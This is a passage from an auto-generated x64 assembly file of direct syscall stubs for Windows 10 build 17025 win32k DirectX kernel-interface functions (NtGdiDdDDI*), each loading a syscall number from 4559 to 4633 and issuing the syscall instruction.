_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetContextSchedulingPriority ENDP
; ULONG64 __stdcall NtGdiDdDDIGetDWMVerticalBlankEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDWMVerticalBlankEvent PROC STDCALL
mov r10 , rcx
mov eax , 4559
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDWMVerticalBlankEvent ENDP
; ULONG64 __stdcall NtGdiDdDDIGetDeviceState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDeviceState PROC STDCALL
mov r10 , rcx
mov eax , 4560
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDeviceState ENDP
; ULONG64 __stdcall NtGdiDdDDIGetDisplayModeList( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDisplayModeList PROC STDCALL
mov r10 , rcx
mov eax , 4561
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetDisplayModeList ENDP
; ULONG64 __stdcall NtGdiDdDDIGetMemoryBudgetTarget( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMemoryBudgetTarget PROC STDCALL
mov r10 , rcx
mov eax , 4562
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMemoryBudgetTarget ENDP
; ULONG64 __stdcall NtGdiDdDDIGetMultiPlaneOverlayCaps( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMultiPlaneOverlayCaps PROC STDCALL
mov r10 , rcx
mov eax , 4563
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMultiPlaneOverlayCaps ENDP
; ULONG64 __stdcall NtGdiDdDDIGetMultisampleMethodList( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMultisampleMethodList PROC STDCALL
mov r10 , rcx
mov eax , 4564
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetMultisampleMethodList ENDP
; ULONG64 __stdcall NtGdiDdDDIGetOverlayState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetOverlayState PROC STDCALL
mov r10 , rcx
mov eax , 4565
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetOverlayState ENDP
; ULONG64 __stdcall NtGdiDdDDIGetPostCompositionCaps( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPostCompositionCaps PROC STDCALL
mov r10 , rcx
mov eax , 4566
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPostCompositionCaps ENDP
; ULONG64 __stdcall NtGdiDdDDIGetPresentHistory( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPresentHistory PROC STDCALL
mov r10 , rcx
mov eax , 4567
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPresentHistory ENDP
; ULONG64 __stdcall NtGdiDdDDIGetPresentQueueEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPresentQueueEvent PROC STDCALL
mov r10 , rcx
mov eax , 4568
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetPresentQueueEvent ENDP
; ULONG64 __stdcall NtGdiDdDDIGetProcessDeviceRemovalSupport( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessDeviceRemovalSupport PROC STDCALL
mov r10 , rcx
mov eax , 4569
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessDeviceRemovalSupport ENDP
; ULONG64 __stdcall NtGdiDdDDIGetProcessSchedulingPriorityBand( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessSchedulingPriorityBand PROC STDCALL
mov r10 , rcx
mov eax , 4570
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessSchedulingPriorityBand ENDP
; ULONG64 __stdcall NtGdiDdDDIGetProcessSchedulingPriorityClass( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessSchedulingPriorityClass PROC STDCALL
mov r10 , rcx
mov eax , 4571
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetProcessSchedulingPriorityClass ENDP
; ULONG64 __stdcall NtGdiDdDDIGetResourcePresentPrivateDriverData( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetResourcePresentPrivateDriverData PROC STDCALL
mov r10 , rcx
mov eax , 4572
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetResourcePresentPrivateDriverData ENDP
; ULONG64 __stdcall NtGdiDdDDIGetRuntimeData( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetRuntimeData PROC STDCALL
mov r10 , rcx
mov eax , 4573
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetRuntimeData ENDP
; ULONG64 __stdcall NtGdiDdDDIGetScanLine( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetScanLine PROC STDCALL
mov r10 , rcx
mov eax , 4574
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetScanLine ENDP
; ULONG64 __stdcall NtGdiDdDDIGetSetSwapChainMetadata( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSetSwapChainMetadata PROC STDCALL
mov r10 , rcx
mov eax , 4575
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSetSwapChainMetadata ENDP
; ULONG64 __stdcall NtGdiDdDDIGetSharedPrimaryHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSharedPrimaryHandle PROC STDCALL
mov r10 , rcx
mov eax , 4576
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSharedPrimaryHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIGetSharedResourceAdapterLuid( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSharedResourceAdapterLuid PROC STDCALL
mov r10 , rcx
mov eax , 4577
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetSharedResourceAdapterLuid ENDP
; ULONG64 __stdcall NtGdiDdDDIGetYieldPercentage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetYieldPercentage PROC STDCALL
mov r10 , rcx
mov eax , 4578
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetYieldPercentage ENDP
; ULONG64 __stdcall NtGdiDdDDIInvalidateActiveVidPn( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIInvalidateActiveVidPn PROC STDCALL
mov r10 , rcx
mov eax , 4579
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIInvalidateActiveVidPn ENDP
; ULONG64 __stdcall NtGdiDdDDIInvalidateCache( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIInvalidateCache PROC STDCALL
mov r10 , rcx
mov eax , 4580
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIInvalidateCache ENDP
; ULONG64 __stdcall NtGdiDdDDILock( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDILock PROC STDCALL
mov r10 , rcx
mov eax , 4581
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDILock ENDP
; ULONG64 __stdcall NtGdiDdDDILock2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDILock2 PROC STDCALL
mov r10 , rcx
mov eax , 4582
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDILock2 ENDP
; ULONG64 __stdcall NtGdiDdDDIMakeResident( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMakeResident PROC STDCALL
mov r10 , rcx
mov eax , 4583
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMakeResident ENDP
; ULONG64 __stdcall NtGdiDdDDIMapGpuVirtualAddress( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMapGpuVirtualAddress PROC STDCALL
mov r10 , rcx
mov eax , 4584
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMapGpuVirtualAddress ENDP
; ULONG64 __stdcall NtGdiDdDDIMarkDeviceAsError( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMarkDeviceAsError PROC STDCALL
mov r10 , rcx
mov eax , 4585
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIMarkDeviceAsError ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispGetNextChunkInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispGetNextChunkInfo PROC STDCALL
mov r10 , rcx
mov eax , 4586
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispGetNextChunkInfo ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus PROC STDCALL
mov r10 , rcx
mov eax , 4587
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispQueryMiracastDisplayDeviceSupport( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispQueryMiracastDisplayDeviceSupport PROC STDCALL
mov r10 , rcx
mov eax , 4588
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispQueryMiracastDisplayDeviceSupport ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispStartMiracastDisplayDevice( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStartMiracastDisplayDevice PROC STDCALL
mov r10 , rcx
mov eax , 4589
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStartMiracastDisplayDevice ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispStopMiracastDisplayDevice( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStopMiracastDisplayDevice PROC STDCALL
mov r10 , rcx
mov eax , 4590
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStopMiracastDisplayDevice ENDP
; ULONG64 __stdcall NtGdiDdDDINetDispStopSessions( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStopSessions PROC STDCALL
mov r10 , rcx
mov eax , 4591
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDINetDispStopSessions ENDP
; ULONG64 __stdcall NtGdiDdDDIOfferAllocations( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOfferAllocations PROC STDCALL
mov r10 , rcx
mov eax , 4592
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOfferAllocations ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenAdapterFromDeviceName( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromDeviceName PROC STDCALL
mov r10 , rcx
mov eax , 4593
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromDeviceName ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenAdapterFromHdc( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromHdc PROC STDCALL
mov r10 , rcx
mov eax , 4594
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromHdc ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenAdapterFromLuid( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromLuid PROC STDCALL
mov r10 , rcx
mov eax , 4595
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenAdapterFromLuid ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenKeyedMutex( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutex PROC STDCALL
mov r10 , rcx
mov eax , 4596
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutex ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenKeyedMutex2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutex2 PROC STDCALL
mov r10 , rcx
mov eax , 4597
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutex2 ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenKeyedMutexFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutexFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4598
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenKeyedMutexFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenNtHandleFromName( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenNtHandleFromName PROC STDCALL
mov r10 , rcx
mov eax , 4599
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenNtHandleFromName ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenProtectedSessionFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenProtectedSessionFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4600
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenProtectedSessionFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenResource( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenResource PROC STDCALL
mov r10 , rcx
mov eax , 4601
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenResource ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenResourceFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenResourceFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4602
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenResourceFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4603
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenSyncObjectFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4604
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenSyncObjectFromNtHandle2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectFromNtHandle2 PROC STDCALL
mov r10 , rcx
mov eax , 4605
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectFromNtHandle2 ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenSyncObjectNtHandleFromName( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectNtHandleFromName PROC STDCALL
mov r10 , rcx
mov eax , 4606
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSyncObjectNtHandleFromName ENDP
; ULONG64 __stdcall NtGdiDdDDIOpenSynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4607
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOpenSynchronizationObject ENDP
; ULONG64 __stdcall NtGdiDdDDIOutputDuplGetFrameInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetFrameInfo PROC STDCALL
mov r10 , rcx
mov eax , 4608
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetFrameInfo ENDP
; ULONG64 __stdcall NtGdiDdDDIOutputDuplGetMetaData( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetMetaData PROC STDCALL
mov r10 , rcx
mov eax , 4609
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetMetaData ENDP
; ULONG64 __stdcall NtGdiDdDDIOutputDuplGetPointerShapeData( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetPointerShapeData PROC STDCALL
mov r10 , rcx
mov eax , 4610
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplGetPointerShapeData ENDP
; ULONG64 __stdcall NtGdiDdDDIOutputDuplPresent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplPresent PROC STDCALL
mov r10 , rcx
mov eax , 4611
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplPresent ENDP
; ULONG64 __stdcall NtGdiDdDDIOutputDuplReleaseFrame( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplReleaseFrame PROC STDCALL
mov r10 , rcx
mov eax , 4612
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIOutputDuplReleaseFrame ENDP
; ULONG64 __stdcall NtGdiDdDDIPinDirectFlipResources( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPinDirectFlipResources PROC STDCALL
mov r10 , rcx
mov eax , 4613
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPinDirectFlipResources ENDP
; ULONG64 __stdcall NtGdiDdDDIPollDisplayChildren( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPollDisplayChildren PROC STDCALL
mov r10 , rcx
mov eax , 4614
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPollDisplayChildren ENDP
; ULONG64 __stdcall NtGdiDdDDIPresent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresent PROC STDCALL
mov r10 , rcx
mov eax , 4615
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresent ENDP
; ULONG64 __stdcall NtGdiDdDDIPresentMultiPlaneOverlay( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay PROC STDCALL
mov r10 , rcx
mov eax , 4616
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay ENDP
; ULONG64 __stdcall NtGdiDdDDIPresentMultiPlaneOverlay2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay2 PROC STDCALL
mov r10 , rcx
mov eax , 4617
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay2 ENDP
; ULONG64 __stdcall NtGdiDdDDIPresentMultiPlaneOverlay3( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay3 PROC STDCALL
mov r10 , rcx
mov eax , 4618
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentMultiPlaneOverlay3 ENDP
; ULONG64 __stdcall NtGdiDdDDIPresentRedirected( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentRedirected PROC STDCALL
mov r10 , rcx
mov eax , 4619
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIPresentRedirected ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryAdapterInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryAdapterInfo PROC STDCALL
mov r10 , rcx
mov eax , 4620
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryAdapterInfo ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryAllocationResidency( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryAllocationResidency PROC STDCALL
mov r10 , rcx
mov eax , 4621
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryAllocationResidency ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryClockCalibration( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryClockCalibration PROC STDCALL
mov r10 , rcx
mov eax , 4622
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryClockCalibration ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryFSEBlock( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryFSEBlock PROC STDCALL
mov r10 , rcx
mov eax , 4623
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryFSEBlock ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryProcessOfferInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProcessOfferInfo PROC STDCALL
mov r10 , rcx
mov eax , 4624
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProcessOfferInfo ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryProtectedSessionInfoFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProtectedSessionInfoFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4625
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProtectedSessionInfoFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryProtectedSessionStatus( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProtectedSessionStatus PROC STDCALL
mov r10 , rcx
mov eax , 4626
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryProtectedSessionStatus ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryRemoteVidPnSourceFromGdiDisplayName( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryRemoteVidPnSourceFromGdiDisplayName PROC STDCALL
mov r10 , rcx
mov eax , 4627
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryRemoteVidPnSourceFromGdiDisplayName ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryResourceInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryResourceInfo PROC STDCALL
mov r10 , rcx
mov eax , 4628
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryResourceInfo ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryResourceInfoFromNtHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryResourceInfoFromNtHandle PROC STDCALL
mov r10 , rcx
mov eax , 4629
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryResourceInfoFromNtHandle ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryStatistics( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryStatistics PROC STDCALL
mov r10 , rcx
mov eax , 4630
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryStatistics ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryVidPnExclusiveOwnership( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryVidPnExclusiveOwnership PROC STDCALL
mov r10 , rcx
mov eax , 4631
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryVidPnExclusiveOwnership ENDP
; ULONG64 __stdcall NtGdiDdDDIQueryVideoMemoryInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryVideoMemoryInfo PROC STDCALL
mov r10 , rcx
mov eax , 4632
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIQueryVideoMemoryInfo ENDP
; ULONG64 __stdcall NtGdiDdDDIReclaimAllocations( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReclaimAllocations PROC STDCALL
mov r10 , rcx
mov eax , 4633
;syscall
db 0Fh , 05h
ret
